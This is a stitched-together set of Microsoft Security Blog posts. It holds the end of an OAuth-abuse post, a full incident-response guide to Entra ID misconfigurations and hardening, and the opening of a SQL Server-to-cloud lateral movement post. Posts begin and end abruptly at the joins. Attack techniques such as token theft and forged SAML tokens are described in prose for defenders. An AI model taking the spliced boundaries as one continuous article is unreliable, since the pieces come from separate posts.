
• Open Email Link
• Creation of an anomalous number of resources
• Creation of expensive computes in Azure

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog: https://aka.ms/threatintelblog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn at https://www.linkedin.com/showcase/microsoft-threat-intelligence, and on X (formerly Twitter) at https://twitter.com/MsftSecIntel.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast: https://thecyberwire.com/podcasts/microsoft-threat-intelligence.

The post Threat actors misuse OAuth applications to automate financially driven attacks appeared first on Microsoft Security Blog.

The team has observed common misconfigurations for both Microsoft Entra ID and on-premises Active Directory across various industry verticals. While Microsoft Entra ID differs from on-premises Active Directory in how it functions and how it is architected, similar high-level incident response and hardening principles can be applied to both. Concepts such as administrative least privilege, regularly reviewing access and application permissions and reviewing activity are important to secure both Active Directory and Microsoft Entra ID.

Microsoft IR engages with hundreds of customers each year, including many of the largest organizations worldwide. These organizations can have hundreds of thousands to millions of active users of Microsoft Entra ID and incredibly complex identity systems. In this blog, we present details on the common misconfigurations observed in these engagements and provide guidance on how to properly configure Microsoft Entra ID to remove risks and harden environments against cyberattacks. This blog is designed to be a Microsoft Entra ID companion piece to a previously published Microsoft IR blog on lessons learned on securing on-premises Active Directory.

• Misconfigured hybrid identity setups
  • Compromised Active Directory Federation Services or equivalent federated identity systems
  • Complex identity systems
  • Compromised synced service accounts
• Token theft of highly privileged accounts
• Excessive privilege granted to users
• Excessive privilege granted to workload identities
• Poor device access control
• Poor application access control
• Misconfigured delegated administrative privileges (DAP) permissions
• Misconfigured Conditional Access policy
• OAuth and consent phishing
• Self-service password reset & MFA social engineering
• Recommended focus areas to prevent identity compromise

To understand a compromise incident and aid in investigations, Microsoft IR retrieves the configuration of Microsoft Entra ID by reading tenant metadata from the Microsoft Graph API. This data is used to both investigate threat actor activity and to aid in providing recommendations for securing Microsoft Entra ID. In addition to configuration metadata, we also leverage native cloud forensic log sources such as Microsoft Entra ID sign-in and audit data – these data sources are available to any organization using Microsoft Entra ID. Open-source tools such as the Microsoft Entra ID Response PowerShell module, developed in conjunction with the Microsoft Entra ID product group, or the untitled goose tool from CISA can retrieve this same data.

Additionally, Microsoft IR uses Microsoft 365 Defender advanced hunting data such as log data from Microsoft Defender for Cloud Apps, and any other relevant log sources a customer may have. In cases of hybrid identity, logs from systems such as Active Directory Federation Services (AD FS) or third-party multifactor authentication (MFA) providers are also relevant. Depending on the nature of the investigation, traditional endpoint forensic sources may also need to be examined.

Misconfigured hybrid identity setups

In the following sub-sections, we present details on the different scenarios involving misconfigured hybrid identity setups that could lead to compromise of Microsoft Entra ID.

Compromised Active Directory Federation Services or equivalent federated identity systems

Each organization’s hybrid identity configuration is unique, and many organizations use a federated identity provider when users authenticate to cloud apps, such as Microsoft 365. These federated identity providers enable user authentication. While a significant percentage of organizations have now moved to cloud-native authentication in Microsoft Entra ID, these federated identity providers, such as AD FS and other third-party identity providers, are still in use.

Microsoft IR finds that federated identity providers present an administrative blind spot within organizations. Hybrid identity can be architecturally complicated with many moving pieces, which often lends itself to operational oversight. Securing these hybrid identity systems is complex, especially legacy solutions, and a single misconfiguration can lead to a significant compromise of an organization’s entire identity plane.

Federated identity providers are a favored target of some nation-state actors: these threat actors understand that if they can compromise the Tier 0 identity plane, then they can persist undetected within an environment for extended periods of time and take control of all identities. Microsoft has published blogs covering the sophisticated cyberattacks seen against AD FS, such as MagicWeb. A deep dive into this tactic was also covered in the Microsoft IR Cyberattack series.

Microsoft IR has also been engaged in multiple incidents where the Token Signing Certificate (TSC) was stolen from on-premises federation servers. Using this stolen certificate, attackers could forge their own SAML tokens and authenticate successfully to Microsoft Entra ID. With this certificate, a threat actor can successfully authenticate as any user in the tenant with any claims without requiring the user’s credentials.

Recommendations

• Microsoft IR strongly recommends moving to native Microsoft Entra ID authentication and decommissioning AD FS (or other federated identity providers) where possible. This reduces the overall complexity of the organization’s identity plane and makes it easier to secure identities.
• If you must use federated identity providers, it’s important to secure and monitor them appropriately.
  • For organizations using AD FS, ensure that the Microsoft Entra Connect Health client is installed. This client correlates multiple Event IDs from AD FS and enriches Microsoft Entra ID sign-in data with that information. This can both help with creating detection and threat hunting rules and serve as a valuable source of forensic data in the event of a compromise.Ensure that appropriate logging is enabled for AD FS and those logs are sent to a SIEM such as Microsoft Sentinel, where detection rules can be created, for both user and system-level compromise, including certificate theft. If an attacker can steal the token signing certificate from AD FS, they can forge their own tokens to authenticate to Entra ID. In these cases, Entra ID will alert on anomalies with the token issuer. Additionally, sign ins using forged tokens may trigger other risk events such as unfamiliar features.If your current MFA solution is integrated to AD FS, consider using native integrated MFA, especially phishing-resistant, options available in Entra ID
  • For organizations with Microsoft Defender for Identity and Microsoft Defender for Endpoint, ensure the agents are deployed to AD FS. Both products have specific capabilities to detect cyberattacks against AD FS.
• For other federated identity providers, ensure those services are configured in line with best practices and that both user logon telemetry and system-level audit events are sent to a central SIEM. Threat actors can dwell in environments, especially identity systems, for months or years before being detected, so it is important that key logs are kept for a long period of time. This helps responder teams understand how initial access was gained and ensure complete threat actor eviction from the environment.

Complex identity systems

Modern identity systems are complex and have changed significantly as ways of working have evolved. Organizations can have multiple identity providers, third-party MFA providers, custom systems designed for user onboarding and offboarding, and other interconnected systems. All these systems form an end-to-end trust chain that is an attractive target for threat actors. The more complex these systems are, the more difficult it is to adequately secure them. Organizations may have network appliances that complete 802.1x authentication, custom identity governance systems that manage user lifecycle, certificate authorities and HSM devices. Each system requires patching and vulnerability management, sufficient monitoring and maintenance and human expertise to ensure secure configuration. Additionally, certificate and credential management across these systems add further complexity.

For example, AD FS is trusted to issue tokens for users. Other systems, such as Microsoft Entra ID, accept those tokens and then authorize the users they represent. If AD FS is compromised, then the legitimacy of those tokens is in question. Each system needs to be adequately secured and monitored to ensure complete trust, as a compromise of a single system could lead to compromise of them all.

If a user signs into Microsoft 365 and the authentication is via a non-Microsoft identity provider, and then MFA is provided by yet another provider, significant complexity is added to the authentication flow. For instance, different systems may be responsible for validating passwords, checking certificates, performing MFA, and issuing tokens – these may be on-premises systems, non-Windows platforms, or third-party cloud solutions. In these situations, each system that forms part of this authentication flow trusts the others.

For example, Microsoft IR was recently engaged with an organization that suffered tenant-level compromise of Microsoft Entra ID. Once the investigation was complete, it was determined that an internet-facing on-premises server, which lacked MFA or proper access controls, had been compromised. That server ran a custom piece of software designed to sync users between multiple business systems. Once the threat actor gained access to the server, they uncovered the credentials for a Global Administrator-level service account. Servers that host key identity applications and integration services are often not held to the same security standard as Domain Controllers, decreasing the security posture of the entire identity plane significantly.

Misconfiguration or administrative oversight on any one of these interconnected systems leads to a decrease in overall security controls. If Microsoft Entra ID is configured to offload MFA to a third-party MFA provider and that MFA is misconfigured, Microsoft Entra ID will still trust the telemetry and configuration of that service.

Recommendations

• It’s crucial to understand all the systems that form your identity plane and how authentication and authorization flow between them. Understand which systems are responsible for which workloads within your identity trust chain.
• Treat the entire authentication system as tier 0, as compromise of a single link within it can lead to complete compromise.
• Ensure that all systems are configured in line with best practices and that the collective configuration is enforcing implemented policies as expected.
• For all systems forming your identity plane, ensure that sufficient logging is available, and that data is kept for a long period of time, preferably 2 years or more. Logging should include user logon events, administrative activity, and configuration changes. Having sufficient logging not only helps detect potential cyberattacks, but it can also alert on changes to any individual system that can reduce overall security posture, and, in the event of an incident, serve as a source of forensic information.
• Where possible, simplify the authentication and authorization mechanisms in your environment. This helps to reduce the attack surface of identity compromise. With each additional system, you increase the overhead of securing those systems and increase the chance of misconfiguration or compromise of one of them.

Compromised synced service accounts

In the hybrid identity world, most users and groups are synced from on-premises Active Directory to Microsoft Entra ID. This is required to allow users to access cloud resources via the same set of credentials used on premises. However, in engagements seen by Microsoft IR, accounts used to manage Microsoft Entra ID, such as Global Administrators, have also been synced to Microsoft Entra ID from on-premises. Staff then often use the same credentials to manage both environments.

If Active Directory is compromised and the credentials for these accounts are found by a threat actor, this allows them to easily pivot into Microsoft Entra ID, expanding the scope of the compromise. Synced service accounts are particularly vulnerable to exploitation. Microsoft IR commonly sees service accounts used to manage both on-premises Active Directory and Microsoft Entra ID targeted by threat actors. These accounts generally hold a high level of privilege in Microsoft Entra ID (often Global Administrator) but aren’t subject to the same controls such as MFA or Microsoft Entra Privileged Identity Management (PIM).

Microsoft IR has been involved in numerous investigations where on-premises Active Directory compromise led to Microsoft Entra tenant compromise. Threat actors sometimes uncover account credentials in clear text due to poor handling of credentials in an on-premises environment. If the threat actor already has a foothold in the on-premises environment, controls such as MFA are often not enforced as these networks are seen as ‘trusted’.

Recommendations

• Microsoft IR strongly recommends that accounts used to administer Microsoft Entra ID are native to Microsoft Entra ID using managed authentication and are not synced from on-premises Active Directory. This reduces the scope of compromise if Active Directory gets compromised by preventing a threat actor from leveraging the same credentials to compromise Microsoft Entra ID. Specific guidance to protect Microsoft 365 from on-premises cyberattacks can be found at https://aka.ms/protectm365 and https://aka.ms/securitysteps.
• Any account that holds privilege in on-premises Active Directory, such as Domain Administrators and the respective groups such as Domain Admins, should be completely excluded from being synced to Microsoft Entra ID.
• The credentials for service accounts that interact with Microsoft Entra ID and Active Directory should be stored securely, and not in clear text where they are easily recoverable by a threat actor.
• Privileged accounts should not be excluded from Microsoft Entra Conditional Access policies, regardless of network location. These accounts should always be held to the highest standards of security, specifically the use of Privileged Identity Management and phishing-resistant credentials such as FIDO2, including for break glass accounts.
• Service accounts that require both privileges to on-premises Active Directory and Microsoft Entra ID should have specific technical controls applied to them. This can include Conditional Access blocking access from non-approved locations or IP addresses, specific detection rules, and monitoring to alert on anomalous activity with these accounts.

Token theft of highly privileged accounts

Token theft is an increasingly common tactic used by threat actors. This technique can allow threat actors to access even MFA-protected resources. Token theft utilizes either credential stealing malware, to steal tokens from end user devices, or adversary-in-the-middle (AiTM) infrastructure to steal tokens during authentication.

AiTM attacks are targeted at users through phishing campaigns. Users are tricked to not only enter their user credentials to a malicious site, but the malicious site also steals the tokens associated with the sign in. These tokens have already satisfied MFA and can be reused by the adversary. This token is then imported to a threat actor-controlled device and access to MFA protected resources granted. Microsoft IR has previously written on the increase of token theft attacks.

Microsoft IR has seen cases where Global Administrator accounts were directly targeted by AiTM phishing. As result, a Global Administrator tier token was stolen, leading to tenant-level compromise.

In addition to AiTM phishing, tokens can also be stolen from endpoint devices themselves via credential-stealing malware. Microsoft IR has been engaged with organizations where credential-stealing malware was installed on an administrator’s endpoint device via an initial phishing email. While the admin used separate accounts for their day-to-day and administrative work, the Global Administrator had signed into both accounts from the same device. The malware had the capability to extract all the credentials and tokens on the device, eventually leading to tenant-level compromise.

Tokens on endpoints are typically stored as cookies, and theft can occur in several ways. Commodity malware such as Emotet, Redline, IcedID, and others have the capability to steal both credentials and tokens. Pirated or cracked software often has token and cookie stealing malware embedded within it as well.

Recommendations

• To increase the security of these accounts, phishing-resistant MFA methods such as FIDO2 keys and certificate-based authentication should be used. Authentication strengths can be used to enforce these MFA methods for the highest privileged accounts. Authentication strengths can prevent admins using weaker MFA methods, such as SMS or phone calls.
• To remove the attack vector of direct phishing attempts, users that hold privilege in Microsoft Entra ID should not have a mailbox assigned.
• When accessing Microsoft Entra ID to complete administrative tasks, access should be granted via a native Microsoft Entra account, not one synced from on-premises Active Directory.
• Access to the Microsoft Entra ID Portal and other similar management interfaces should also be restricted to only hardened workstations known as privileged access workstations. These workstations are designed to only administer Microsoft Entra ID and restricted from accessing other sites to reduce the attack surface of endpoint compromise.
• Microsoft has published a specific incident response playbook for cloud token theft. It is worth familiarizing yourself with to understand how to respond quickly.
• To prevent token theft more broadly, token protection (also known as token binding more generally) is currently in preview in Microsoft Entra Conditional Access. As a preview feature, it has certain limitations; however, it is still a valuable control. Token protection seeks to prevent replay of primary refresh token theft by binding an issued token to a specific device.

Excessive privilege granted to users

Much like on-premises Active Directory, Microsoft IR often sees accounts granted privilege that they do not require. While organizations often have mature technical controls over their Global Administrator accounts, these controls do not cover other privileged roles in Microsoft Entra ID. Global Administrator lives atop the privilege hierarchy, but there are also other roles that can lead to compromise. These include, but are not limited to:

• Privileged Role Administrator – can add users to Global Administrator and other privileged roles
• Privileged Authentication Administrator – can reset the password of or register MFA for a Global Administrator
• Security Administrator – can read and manage security related settings across Microsoft Entra ID and Microsoft 365 Defender
• Application Administrator – can generate a credential on any Microsoft Entra ID application
• Domain Name Administrator – can add a federated domain
• Conditional Access Administrator – can degrade access conditions
• Intune Administrator – can manage all aspects of Intune, including deploying software and remote wiping devices

These roles, along with others, are now flagged as privileged in the Microsoft Learn documentation, allowing organizations to focus on securing users that hold those roles. In many of our engagements, Global Administrators are not directly compromised. A user holding another privileged role is often initially targeted, and from there, the threat actor could escalate up to Global Administrator. In one instance, a service desk staff member who held the Privileged Authentication Administrator role was socially engineered into updating the MFA details for a Global Administrator. Once this had occurred, the threat actor completed self-service password reset for the Global Administrator account and then took control of the tenant.

Recommendations

• Microsoft IR recommends that organizations audit current role assignments to ensure privileged users are granted only the access required– enforcing least privilege to organizational resources. Roles that Microsoft considers privileged are now highlighted in the documentation, and in the Microsoft Entra portal itself – highlighting the importance of managing users in these roles.
• Ensure that all roles that could lead to tenant-level compromise are protected, not just Global Administrator. Changes to these roles should generate a high-priority alert to be investigated to confirm the activities are not malicious.
• AzureHound, the cloud sibling of BloodHound, can be used to visually map attack paths through Microsoft Entra ID. It is recommended that sanctioned audits using this tool are run and attack paths are removed or mitigated.
• Microsoft Entra PIM can provide further protection to these roles by ensuring users have just-in-time access to their roles and requesting that access is governed by additional workflows.

Excessive privilege granted to workload identities

A workload identity is a non-human identity created and assigned to a workload (such as a script, application, or other services) to allow them to authenticate and access other resources. For example, you may create a workload identity to provide custom integration between Microsoft Teams and Exchange Online. In Microsoft Entra ID, these are known as applications and service principals. Like users, these applications and service principals can be assigned to roles, such as Global Administrator, or provided specific access to API endpoints. Credentials like secrets or certificates are generated for the workload identity, and then used to authenticate.

Like service accounts in on-premises Active Directory, these workload identities are often granted much higher privileges than required, for example:

• Directory.ReadWrite.All – Allows the app to read and write data in your organization’s directory, such as users, and groups
• User.ReadWrite.All – Allows the app to read and write the full set of profile properties, reports, and managers of other users in your organization, on behalf of the signed-in user
• Mail.ReadWrite – Allows the app to create, read, update, and delete mail in all mailboxes without a signed-in user

Even though the applications ask for and are subsequently granted access to these broad privileges, usually the applications require much less access to function correctly. For instance, they may need access to a specific mailbox, not all mailboxes. Microsoft has published specific guidance to understand appropriate permission scoping in Microsoft Entra ID.

These service principals and applications are often not secured to the same level as standard user accounts. Part of that is the nature of how they work: it is not possible to configure MFA for these applications, as they are non-human identities. Additionally, where a user may notice strange behavior on their account and provide feedback to security teams, there is no equivalent feedback for applications. Often, malicious activity from workload identities goes unnoticed because detection logic is focused on user identities.

Recommendations

• Applications and service principals should be granted access using the least-privilege principle. Often internal development teams or external third-party vendors request privileges over and above what are required because they make it easier for the service to work. However, this presents a significant risk and should be avoided.
• Microsoft recommends the use of strong credentials, such as certificates, for applications, instead of client secrets. Microsoft IR often finds client secrets held in clear text in emails or saved in easy to find locations. If the application is interacting with Microsoft Azure or other Microsoft services, then the use of Entra ID Managed Identities is recommended. Managed Identities eliminate the need for organizations to manage the credentials for these workloads.
• If providing access to the Microsoft Graph, exceptionally granular permissions are available for the various endpoints. Security teams should challenge requests for high privileges across Microsoft Graph. The permissions reference page lists the name of the permission and what access is provided if that permission is granted.
• For security teams and administrators that are familiar with Active Directory and less so with Microsoft Entra ID, it’s worth understanding how the permissions structure in Microsoft Entra ID and Microsoft Graph works. That way you are better informed to challenge requests for excessive privilege.
• Conditional Access for workload identities is available as a feature in Microsoft Entra Workload ID. As previously mentioned, due to the nature of these identities, MFA and similar controls cannot be enforced. With Conditional Access, however, you can allow access from specific IP locations or block access based on elevated risk patterns detected by Microsoft.
• Alerts should be configured to detect new credentials, additional privileges being added to existing applications, and anomalous sign-in activity. Much like users, service principals generate log in data and detections for new IP addresses or locations should be created. Threat actors have been known to compromise accounts with access to generate new credentials on pre-existing applications with high privilege, thereby allowing tenant takeover.

Poor device access control

In many engagements, Microsoft IR has detected threat actors registering their own devices to the Microsoft Entra tenant, giving them a platform to escalate the cyberattack. While simply joining a device to a Microsoft Entra tenant may present limited immediate risk, it could allow a threat actor to establish a foothold in the environment. Conditional Access or Microsoft Intune policy misconfiguration may allow this threat actor-controlled device to be marked as compliant. The threat actor could then access additional and potentially sensitive company resources. From there, they might be able to locate additional credentials or compromise further users to escalate privilege within the environment.

Microsoft IR was recently engaged with an organization that allowed users to join their own devices to Microsoft Entra ID. Threat actors compromised a regular user account via phishing and then used the compromised credentials to join their own device to the tenant. The actors then leveraged a misconfiguration in Intune to allow that device to be marked as compliant. From there, the threat actor was able to satisfy Conditional Access and access Microsoft 365, where they located the credentials of a privileged account sent via email.

Recommendations

• If you allow end users to register or join their own devices to your Microsoft Entra tenant, then Microsoft IR recommends you control the ability to complete those actions via Conditional Access.
• Using Conditional Access, you can add additional security to your tenant by creating policies to require MFA when joining or registering a device. Depending on the requirements of your business, you could enforce the MFA requirement to particular users, or locations such as untrusted locations. Microsoft IR recommends, however, requiring MFA for all device join events where possible.

• Auditing and alerting should be configured for device joining events to detect anomalous behavior such as users registering multiple devices, suspicious device names, or unusual times. Users themselves can be sent notifications via Intune each time a device is enrolled via their account; if they didn’t initiate the action, they can report it as suspicious.
• Hold members of the Intune Administrator role to the same security standard as more well known privileged roles, such as Global Administrator

Poor application access control

When analyzing customer tenants, Microsoft IR often finds that their lines of business applications do not have sufficient access controls applied to them. Applications such as IT service management and ticketing systems, code repos, HR systems, and more are available to any user, including guest accounts. Microsoft IR was recently engaged with an organization where the threat actor compromised a user by phishing. Once the actor had control over the account, they accessed the MyApps portal and began systematically accessing all the applications listed there. Eventually, they signed into the IT system used for onboarding and offboarding accounts and requested a new privileged account, despite having no reason to have access to that system. A new account was provisioned, giving the actor a privileged account under their control.

Microsoft IR often detects threat actors browsing the https://myapps.microsoft.com portal and trying to access all the applications visible there. Often the compromised user account has no business justification to access these applications, but access is granted to groups containing all user accounts or have no access control at all. These applications may have confidential data, contain unsecured credentials, or could allow threat actors to gain insights into business processes to facilitate social engineering.

Recommendations

Access to all business applications should be restricted to only those that require it. Microsoft Entra ID provides the capability to both restrict access to applications, and to hide the visibility of applications in the MyApps portal. Access to applications should always be governed by a security group, so that users are granted only the access required to work. To ensure that users can still access applications they require, self-service capability for requesting access is available in Microsoft Entra ID. Requests for access can be delegated to application owners, so that IT teams don’t need to fulfill every request.

Access reviews and entitlement management capabilities in Entra ID can help organizations management the on going governance of access and entitlement lifecycle at scale. These tools work together to allow users to gain access to the applications and data they need easily and give security teams the tools to ensure access is granted on as needed basis.

Misconfigured delegated administrative privileges (DAP) permissions

The DAP permissions model was created to allow Cloud Solution Providers (CSP) to provide services and licensing support to customers. A CSP could send an invitation to a customer to request a partner relationship. Prior to an update to the permissions model, upon accepting one of these invitations, the CSP would gain Global Administrator rights in the customer tenant.

In addition, customers themselves could not manage which users held privilege in their tenant. Membership in ‘AdminAgents’ group in the CSP tenant would provide downstream privilege to any customer tenants configured. These permissions are often a relic of previous partners or historical licensing agreements and the CSP may no longer be actively engaged with the customer.

CSP tenants have become an attractive threat actor target, as compromise of a single tenant can provide administrative access to any number of downstream tenants. Microsoft IR has been engaged in several incidents with organizations that have lost control of their tenant via a delegated administrative privilege configuration they were unaware existed. The threat actor compromised an account located in the AdminAgents group in the partner tenant via phishing. They then used the downstream privilege to create a Global Administrator account in our customer’s tenant and take control. Both the partner and the customer were unaware this relationship existed.

Recommendations

• Review the list of delegated administrative privileges in your tenant to understand if any such partnerships exist. If any are configured, assess if your business still requires your partner to retain privilege in your tenant.
• If they do require privilege, Microsoft recommends migrating to granular delegated admin privileges (GDAP). This updated permission model better aligns with Zero Trust principle of least privilege access and hands more control back into the hands of the customers themselves.
• Depending on the nature of the partner relationship, it may be possible to remove the delegated partner configuration entirely, and instead on-board accounts native to your tenant and securely provide the credentials to any resource that requires access to your tenant.

Misconfigured Conditional Access policy

It is common for Microsoft IR to find gaps in Conditional Access policies, particularly policies covering the most privileged accounts. It’s important to understand that threat actors can enumerate Conditional Access policies using a regular user account. By enumerating Conditional Access policies, threat actors can find those gaps and attempt to move laterally through them. For example, if MFA is excluded for users in a particular group or from specific locations, then a threat actor will attempt to add themselves to that group or compromise an account already excluded.

Furthermore, corporate networks are often excluded from MFA entirely and considered ‘trusted’ locations. This configuration and mindset are representative of the way of work from years ago, where being on the corporate network granted users and devices implicit trust. If a threat actor can find a way onto that network by compromising a device already connected to the network or gaining access via VPN, then at that point, they are considered ‘trusted’ and are unlikely to be further prompted for strong authentication.

Additionally, Microsoft IR regularly sees organizations that have configured their Conditional Access policies in a way that is overly complicated. While these policies are often created with the right intentions, as the policies add up, it becomes hard to tell which are enforced. The combination of these policies can give users a poor experience. This can make them susceptible to cyberattacks like MFA fatigue/spam. If users are being prompted dozens of times a day for MFA or being signed out of their session every few hours, they are going to pay less attention to a prompt for their credentials or an MFA prompt on their phone. As a result, when a threat actor-generated MFA prompt is sent to them, they might be less likely to consider it suspicious and report it as fraudulent.

Recommendations

• There are often legitimate business reasons why exclusions to Conditional Access need to apply; however, it is key that your privileged and Tier 0 accounts continue to be secured correctly.
• Alerts should be configured for any changes, additions, or deletions to Conditional Access. This will help detect both accidental and malicious changes to your policies.
• Any groups that are configured as exclusion groups for policies should be monitored for changes. Privileged users can be excluded from key policies by being placed into a group that then excludes them from policies. Microsoft Entra ID Access Reviews can be used to ensure continued governance of the members of these groups.
• Microsoft IR recommends enforcing strong authentication for users regardless of location, even if connecting via a corporate network, starting with your most privileged accounts. This is a key component of Zero Trust security principles, where we verify users and devices explicitly, regardless of location.
• It is worth periodically reviewing Conditional Access policies to ensure they are enforcing the expected controls. To help with this, you can simulate sign-in events with the ‘What If’ tool. Often multiple policies can be rolled into one. This provides better and more consistent user experience, and even just simplifying policy design can lead to improved security. There is also built in insights and reporting into Conditional Access, to help both identity and address gaps in policy.

It’s important to note that Zero Trust does not mean users should be prompted for MFA each time they access a resource. Modern strong authentication methods such as Windows Hello for Business provide the best combination of security and useability.

OAuth and consent phishing

Consent phishing expands on traditional phishing by tricking users into installing malicious OAuth applications rather than tricking them into providing their credentials. With consent phishing, users are tricked into providing threat actors with direct access to their personal or organizational data. The user may be presented with a link in an email that when clicked requests that the user consent to an application. The consent page will show the permissions requested by the application, and if the user has the right to consent, the application, and in turn the threat actor, is granted access to the data. These applications may be named in a way that appears that they are legitimate to users.

These kinds of cyberattacks are of particular concern if administrative accounts are targeted. If a privileged user is targeted by consent phishing, they may have the ability to consent to organization-wide permissions, granting the threat actor broad access into your tenant.

When standard users are targeted by consent phishing, the permissions requested can be considered low impact, but this type of cyberattack can provide a means for a threat actor to harvest information and data that can lead to higher impact. For example, if a user clicks and consents to a malicious application that provides access to only their email and OneDrive, that may be considered a minor incident. With that access though, the threat actor could enumerate all the corporate data that the user can access. That user may have access to sensitive credentials, personally identifiable information, or market sensitive information, which the threat actor can locate.

Microsoft, often with the help of security researchers and the security community, disables known malicious OAuth applications. At the same time, it’s important to protect yourself from these kinds of cyberattacks.

Recommendations

• Microsoft Entra ID provides strong and granular controls to protect your organization from consent phishing and other malicious application consent. These settings are configured in the Microsoft Entra portal. Microsoft IR recommends that the first or second option be selected. If your organization has the capability to respond effectively to all requests for application consent, then the first option, ‘Do not allow user consent’, is the most secure.

• Many organizations do not have the resources available to manage every request; in these cases, the second option provides the best mix of security and user experience. Staff can consent to applications that are from verified publishers or those considered to have a low impact in terms of permissions requested.
• Microsoft Defender for Cloud Apps can be utilized to investigate and remediate risky OAuth apps.
• As previously mentioned, privileged users should not have mailboxes assigned to them. This reduces the attack vector of traditional and consent phishing being targeted towards them.

Self-service password reset & MFA social engineering

Microsoft IR has seen cases of threat actors leveraging social engineering techniques to have service desk or similar staff update the self-service password reset (SSPR) and MFA details for users.

Microsoft IR commonly sees service desk staff being targeted via social engineering tactics. Often, a threat actor impersonates a user by creating an outlook.com or gmail.com mailbox with the same name as the legitimate user. They then send an email to the service desk and say that they have a new email address or phone number and ask the service desk to update their MFA details. Once this is completed, the threat actor could initiate self-service password reset and take over control of the account. With this initial foothold to the environment, they could pivot into Microsoft 365 and attempt to escalate privilege. Microsoft IR has seen these attempts target Global Administrator accounts directly as well as regular users.

Certain threat actors may even call the service desk and impersonate the user, taking information from sites such as LinkedIn, other information acquired from open-source intelligence (OSINT), or personal data lost in other breaches to successfully pass any identity validation required. The service desk then resets the password on the user account, or updates an MFA method, granting access to the attacker.

On top of being an initial access vector, this can also be a persistence mechanism deployed by threat actors to regain control over an already compromised account. If a user is detected as compromised and their credentials reset, the threat actor can again complete the SSPR workflow to regain access to that account.

Recommendations

• While SSPR is the preferred method of credential reset and is more secure than other methods, such as emailing credentials in clear text, it could still be susceptible to social engineering. Business processes should attempt to reduce the risk of these attempts succeeding. Importantly, empower your service desk staff to say no, or require additional validation, when something seems suspicious.
• Requests for updates to SSPR and MFA details should be validated to confirm they are legitimate, such as by challenging the user via the phone or having them confirm other details a threat actor would not have (e.g., employee ID numbers). Additionally, visual confirmation, via video calling, that the user is who they say they are can be a strong control.
• MFA registration can be further secured through the use of Temporary Access Passes (TAP). A TAP is a time-limited passcode that can be generated for users. More mature organizations have begun using these to protect the MFA registration process. A user will call the helpdesk and verify their identity. They are then granted a TAP which allows them access to the MFA registration portal for a short period of time, allowing them to then register their own MFA device.
• Ensure that IT admin staff that have the privilege to update passwords or MFA details for other privileged users are held to high security standards, such as phishing resistant MFA.
• Detections should be created for potential social engineering attempts for SSPR and MFA. These could include detections such as an update to SSPR details followed by risky sign-ins. A threat actor that takes control over an account will likely then attempt to sign into it, and if it is from a different location or has other unfamiliar features, it may trigger additional risk.

Recommended focus areas to prevent identity compromise

In real-world engagements, Microsoft IR sees combinations of the above issues and misconfigurations that could lead to total Microsoft Entra ID compromise. Depending on the motivation of the threat actor, this could further lead to additional malicious attacks, or even tenant destruction.

In the above cyberattack chain, a regular user was compromised through phishing. Through additional weak controls, poor credential hygiene, and lack of additional security over Tier 0, the entire tenant was compromised.

Compared to Active Directory, cyberattacks on Microsoft Entra ID are relatively new, and additional new attacks are constantly emerging. Microsoft IR recommends focusing on controls that will prevent your most privileged accounts being compromised. Focusing on protecting and hardening identities with the highest privilege makes the biggest impact in preventing identity compromise.

• Reduce privilege – All user and non-human identities should be assigned access according to the principle of least privilege. This will help prevent single user compromise leading to tenant-level compromise.
• Protect Tier 0 – All Global Administrator accounts, equivalent service principals, and accounts with additional paths to Tier 0 should be held to stricter security controls, including phishing-resistant MFA.
• Use cloud-only administrative accounts – All accounts that have privilege in Microsoft Entra ID should be cloud-native and not synced from Active Directory.
• Protect hybrid identity – In instances of complex hybrid identity, ensure that all interconnected systems such as AD FS or third-party MFA are configured and monitored properly.
• Accelerate your passwordless journey to reduce the risk of credential theft by phishing and other password-based attacks.

Much like on-premises Active Directory, protecting Microsoft Entra ID requires continued governance and monitoring. By reducing risk and controlling our most privileged accounts, you have the best chance of preventing or detecting attempts at tenant-wide compromise.

Matthew Zorich (@reprise_99 on X), Microsoft Incident Response

Listen to Matt discuss the importance of knowledge sharing and practical experimentation in incident response in the Microsoft Threat Intelligence Podcast episode, Incident Response with Empathy.

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog: https://aka.ms/threatintelblog.

To get notified about new publications and to join discussions on social media, follow us on X (formerly Twitter) at https://twitter.com/MsftSecIntel.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast: https://thecyberwire.com/podcasts/microsoft-threat-intelligence.

The post Microsoft Incident Response lessons on preventing cloud identity compromise appeared first on Microsoft Security Blog.

The attack flow we observed initiated multiple Microsoft Defender for SQL alerts that allowed us to identify and analyse the cloud lateral movement technique. The alerts also allowed us to quickly deploy additional protections despite not having visibility of the application that was targeted with the SQL injection vulnerability to access the SQL Server. While our analysis of this attack did not yield any indication that the attackers successfully moved laterally to the cloud resources, we assess that it is important for defenders to be aware of this technique used in SQL Server instances, and what steps to take to mitigate potential attacks.

In this blog post, we elaborate on the attack flow and focus on the main technique that we observed: SQL Server to cloud lateral movement. We will also show how Microsoft Defender for SQL can detect activities related to this type of threat and help responders mitigate such attacks.

Cloud-based lateral movement

As more organizations move to the cloud, we see new types of cloud-based attack techniques that are fundamentally different than the ones that are known from on-premises environments. An example of this is how attackers are finding new vectors to perform lateral movement from certain on-premises environments into cloud resources.

In cloud environments, one of the methods to perform lateral movement is by abusing cloud identities that are bound to the cloud resource. Cloud services like Azure use managed identities for allocating identities to the various cloud resources. Those identities are used for authentication with other cloud resources and services. While managed identities offer advantages in terms of convenience, security, and efficiency, they also come with certain risks that introduce a potential attack vector.

For example, if attackers compromised a VM, they could acquire a token for its attached identity by querying the instance metadata service (IMDS) endpoint. With the managed identity access token, the attackers could perform various malicious operations on the cloud resources that the identity has access to. In the attack we observed, the attackers attempted to perform identity-based lateral movement in an environment where we haven’t seen this technique used before: SQL Server instances.

Known technique, new environment: from SQL Server to cloud

While the attempt to move laterally from the SQL Server instance can be considered new, the attack involved activities common to SQL Server attacks. For example, the initial access vector was a successful SQL injection attack that allowed the attackers to run queries on the SQL Server. The attackers launched numerous SQL statements to gather data about the host, databases, and network configuration. The information that the attackers collected included:

• Databases
• Table names and schema
• Database version
• Network configuration
• Read\write\delete permissions

